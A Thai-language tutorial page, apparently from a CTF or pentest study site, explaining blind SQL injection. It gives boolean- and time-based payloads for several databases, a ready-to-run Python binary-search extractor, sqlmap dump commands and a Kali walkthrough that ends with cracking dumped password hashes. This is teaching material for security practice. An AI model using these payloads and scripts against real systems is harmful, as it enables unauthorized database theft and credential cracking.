คลัง
web

Blind SQL Injection

Blind SQLi คือ SQL injection ที่ผลลัพธ์ไม่แสดงออกมาตรงๆ ต้องอนุมาน (infer) ข้อมูลทีละบิตจากพฤติกรรมของแอป — response ที่ต่างกัน (boolean-based) หรือเวลาตอบสนอง (time-based) บทนี้อธิบายทั้งสองแบบเชิงลึก พร้อมเทคนิค binary search การเขียนสคริปต์ดึงข้อมูลอัตโนมัติ และ payload ตามชนิด DB

IntermediateAdvanced#sqli#blind#boolean#time-based#inference#injection#web#ctf

1. Blind คืออะไร

เมื่อ query ที่ inject ได้ไม่คืน output ให้เห็น (ไม่มี error message, ไม่มีข้อมูลสะท้อนกลับหน้าเพจ) ต้องใช้ blind — เปลี่ยนจาก 'ขอข้อมูล' เป็น 'ถามคำถาม yes/no' กับฐานข้อมูลทีละข้อ แล้วอ่านคำตอบจากพฤติกรรมที่ต่างกัน แต่ละคำถามได้ 1 บิต การประกอบข้อมูลจึงต้องยิงหลาย request

อนุมานข้อมูลทีละบิตด้วยคำถาม yes/no
ASCII(char)>77 ? 1 request = 1 คำถาม TRUE หน้าปกติ / ช้า 5วิ FALSE หน้าต่าง / เร็ว bit → char ~7 req / 1 ตัวอักษร
ชนิด blindช่องสัญญาณความเร็วใช้เมื่อ
Boolean-basedresponse ต่าง (ความยาว/ข้อความ/status)เร็วกว่าเงื่อนไขจริง/เท็จให้หน้าต่างกัน
Time-basedเวลาตอบสนองช้าที่สุดresponse เหมือนกันหมด เหลือแค่เวลา

2. Boolean-based

ส่งเงื่อนไขที่ทำให้ query คืนผลจริงหรือเท็จ แล้วเทียบ response — ความยาว body, ข้อความ (เช่น "Welcome" vs "Invalid"), หรือ HTTP status ที่ต่างกันคือคำตอบ ดึงข้อมูลทีละตัวอักษรด้วย SUBSTRING + เทียบ ASCII

Boolean extraction — จากไล่ทีละตัว สู่ binary search
-- แบบไล่ทีละค่า (ช้า: สูงสุด ~95 ครั้ง/ตัวอักษร)
1' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
-- ถ้าหน้า 'ปกติ' = ตัวอักษรตำแหน่งที่ 1 คือ 'a'

-- แบบ binary search (เร็ว: ~7 ครั้ง/ตัวอักษร)
1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77-- -
-- true → ตัวอักษร > 'M'  → ค่อยหารครึ่งช่วง 78..126
-- false → <= 77 → หาร 32..77 ต่อ

-- หาความยาวก่อน (จะได้รู้ว่าดึงกี่ตัว)
1' AND LENGTH((SELECT password FROM users LIMIT 1))=32-- -
binary search ลดจำนวน request จาก O(n) เหลือ O(log n) ต่อ 1 ตัวอักษร — สำคัญมากเพราะ blind ยิงหลาย request
ในทางปฏิบัติหา differentiator ให้เจอก่อน: response ตอน true ต่างจาก false ตรงไหน (Content-Length, คำใน body, redirect, status) แล้วเขียนสคริปต์เช็คจุดนั้นจุดเดียว

3. Time-based

ใช้เมื่อ response เหมือนกันหมดไม่ว่าเงื่อนไขจริงหรือเท็จ — เปลี่ยนไปวัด เวลา ถ้าเงื่อนไขจริงให้ DB หน่วงเวลา (SLEEP) แล้ววัดว่า response ช้าลงถึงเกณฑ์ไหม ใช้ได้เสมอแต่ช้าและเจอ noise จากเน็ตเวิร์ก

DBฟังก์ชันหน่วงเวลารูปแบบ conditional
MySQLSLEEP(5)IF(cond,SLEEP(5),0)
PostgreSQLpg_sleep(5)CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END
MSSQLWAITFOR DELAY '0:0:5'IF(cond) WAITFOR DELAY '0:0:5'
Oracledbms_pipe.receive_message(('a'),5)CASE WHEN cond THEN ... END
MySQL (ไม่มี SLEEP)heavy queryRLIKE / BENCHMARK(5000000,MD5(1))
Time-based extraction ตาม DB
-- MySQL
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77,SLEEP(3),0)-- -

-- PostgreSQL (stacked/inline)
1'; SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -

-- MSSQL
1'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>77) WAITFOR DELAY '0:0:3'-- -

-- response ช้า ~3 วิ = เงื่อนไขจริง
ตั้ง delay ให้มากกว่า latency ปกติชัดเจน (3-5 วิ) และยิงซ้ำเพื่อตัด false positive จากเน็ตช้า

4. เขียนสคริปต์ดึงข้อมูล (Python)

เมื่อ sqlmap ใช้ไม่ได้ (WAF, logic แปลก, ต้อง custom) การเขียนสคริปต์เองด้วย binary search คุมได้ทุกอย่าง นี่คือ template ที่ใช้ได้จริง

Boolean blind extractor (binary search)
import requests, string

URL = "https://target/item"
# ปรับ query ให้ตรงกับข้อมูลที่ต้องการดึง
SUBQ = "(SELECT password FROM users LIMIT 1)"

def is_true(cond):
    payload = f"1' AND {cond}-- -"
    r = requests.get(URL, params={"id": payload})
    # differentiator: ปรับให้ตรงกับหน้า true จริงของเป้าหมาย
    return "Welcome" in r.text            # หรือ len(r.text) > N / r.status_code == 200

def extract(maxlen=40):
    out = ""
    for pos in range(1, maxlen + 1):
        lo, hi = 32, 126
        if not is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>0"):
            break                          # หมดข้อมูล
        while lo < hi:
            mid = (lo + hi) // 2
            if is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
        print(f"[{pos}] {out}")
    return out

print(extract())
เปลี่ยน is_true() เป็นแบบ time-based ได้โดยวัด r.elapsed.total_seconds() > threshold

5. Automate ด้วย sqlmap

ปล่อยให้ sqlmap ทำ (scope ที่ได้รับอนุญาต)
# B=boolean blind, T=time-based
sqlmap -r request.txt --technique=BT --batch --dump

# บังคับ time-based + ปรับ delay ถ้าเน็ตแกว่ง
sqlmap -r request.txt --technique=T --time-sec=5 --batch

# เร่งด้วย threads (ระวัง server รับไหว)
sqlmap -r request.txt --technique=B --threads=10 --batch

# ถ้าต้อง custom differentiator ของ boolean
sqlmap -r request.txt --technique=B --string="Welcome" --batch
blind ช้ามากเมื่อทำมือ — sqlmap จัดการ binary search + threading + retry ให้ ใช้ --string/--not-string ช่วยให้แม่นขึ้น
time-based ยิง --threads สูงไม่ได้ (เวลาจะรบกวนกัน) และสร้างภาระ DB มาก ใช้เท่าที่จำเป็น boolean เร่ง thread ได้ปลอดภัยกว่า

6. ข้อผิดพลาดที่พบบ่อย

  • หา differentiator ไม่ชัด → สคริปต์อ่านผิดทุก request (ยืนยันด้วย payload true/false ที่รู้ผลก่อน)
  • time-based ตั้ง delay สั้นเกิน → เน็ต latency ทำให้ false positive
  • ลืมหา LENGTH ก่อน เลยไม่รู้ว่าจบตรงไหน (ดึงเกินหรือขาด)
  • ไล่ทีละตัวอักษรแทน binary search → ช้ากว่า 10 เท่า
  • ไม่ตั้ง retry — request หลุด 1 อันทำให้ค่าทั้งสายเพี้ยน
  • ยิงเร็วเกินจน rate-limit/WAF บล็อก (ใส่ delay/jitter)

7. Quick Reference

  • ไม่มี output → blind: response ต่าง = boolean, เหมือนหมด = time
  • หา differentiator ก่อน แล้วดึงทีละตัวอักษรด้วย SUBSTRING+ASCII
  • ใช้ binary search (> <) เร็วกว่าไล่ทีละค่า ~10 เท่า
  • หา LENGTH() ก่อนเพื่อรู้จุดจบ
  • time-based: MySQL SLEEP, PostgreSQL pg_sleep, MSSQL WAITFOR
  • ทำมือช้า → sqlmap --technique=BT · custom → เขียน Python เอง
  • ดูหัวข้อ SQL Injection สำหรับพื้นฐาน และ Time-based SQLi สำหรับรายละเอียดเวลา

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติยืนยันแล้วว่าเป็น blind SQLi (response ต่าง true/false แต่ไม่มี error/ไม่มีข้อมูลสะท้อน) มีแค่ Kali ทำตามนี้เพื่อดึงข้อมูลออกมาทีละตัวอักษร

  1. 1ยืนยันคู่ true/false อีกครั้งให้ชัด: ' AND 1=1-- - เทียบกับ ' AND 1=2-- - ดูว่า response/length ต่างกันแน่นอน
  2. 2จด baseline ของ response ที่ใช้แยก true/false ได้ชัด (เช่น content-length, คำว่า 'Welcome' หายไป)
  3. 3ทดสอบดึง version ทีละตัวอักษร: ' AND SUBSTRING(@@version,1,1)='5'-- - ปรับตัวเลข/ตัวอักษรไล่จนตรง
  4. 4เมื่อมั่นใจ logic แล้ว เซฟ request เป็น req.txt แล้วรัน sqlmap -r req.txt --batch --technique=B --dump ให้ดึงอัตโนมัติแทนมือ
  5. 5ถ้า sqlmap ช้าเกินไป ลองเพิ่ม --threads 5 หรือระบุ --dbms ให้ตรงเพื่อลดจำนวน request ที่ต้องเดา
  6. 6ถ้า boolean ไม่ชัดพอ (response แทบไม่ต่าง) ให้เปลี่ยนไปทาง time-based แทน
  7. 7ถ้าอยากเขียน script เองแทน sqlmap ใช้ python3 + requests วน binary search ทีละตัวอักษร (เร็วกว่าไล่ linear)
  8. 8เมื่อ dump ข้อมูลได้ (username/hash) เอา hash ไป crack ต่อด้วย hashcat หรือ crackstation.net
Master flow — ดึงข้อมูลผ่าน Blind SQLi ทีละขั้น
ยืนยัน baseline true/false อีกรอบ: ' AND 1=1-- - เทียบ ' AND 1=2-- -
แยก true/false ได้ชัดจาก response (length/content) ไหม?
✅ ชัดเจน→ ไปดึงข้อมูลทีละตัวอักษรต่อ
❌ ไม่ชัด/เหมือนกันเป๊ะ→ ลอง time-based แทน
ทดสอบดึง DB version ทีละตัวอักษรด้วย SUBSTRING(@@version,N,1)='X'
เซฟ request เป็น req.txt แล้วรัน sqlmap -r req.txt --batch --technique=B --dump ให้อัตโนมัติ
sqlmap ดึงข้อมูลออกมาได้เร็วพอ ไม่ timeout ไหม?
✅ ได้→ จบ ไป crack hash ต่อ
❌ ช้า/error→ ปรับ threads/dbms หรือเขียน script เอง
เพิ่ม --threads 10 --dbms=mysql ให้ sqlmap ตรงเป้าขึ้น หรือเขียน python script binary search เอง (เร็วกว่า)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ยืนยัน true/false อัตโนมัติsqlmap (--technique=B)already in Kali-
brute-force ทีละตัวอักษร (ทางเลือก)Burp Intruder (Cluster bomb)--
เขียน script binary search เองpython3 + requestspip install requests-
encode payload หลบ WAF--CyberChef
เรียนรู้เทคนิค blind เพิ่ม--portswigger web security academy
crack hash ที่ dump ได้hashcat / johnalready in Kalicrackstation.net / hashes.com
ทดสอบ payload มือก่อนยิงชุดใหญ่curlalready in Kali-
🚑 ถ้าตันสนิท ลองท่าถัดไป: time-based-sqli ถ้า true/false แยกไม่ออกเลย, error-sqli ถ้าดันเจอ error message ระหว่างทาง, union-sqli ถ้าพบว่า output สะท้อนตรงๆบนหน้าเว็บ, hash-cracking เมื่อ dump hash ได้แล้ว, sql-injection ถ้าสงสัยว่า injection point ผิดจุด ให้ย้อนกลับไปหาใหม่

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้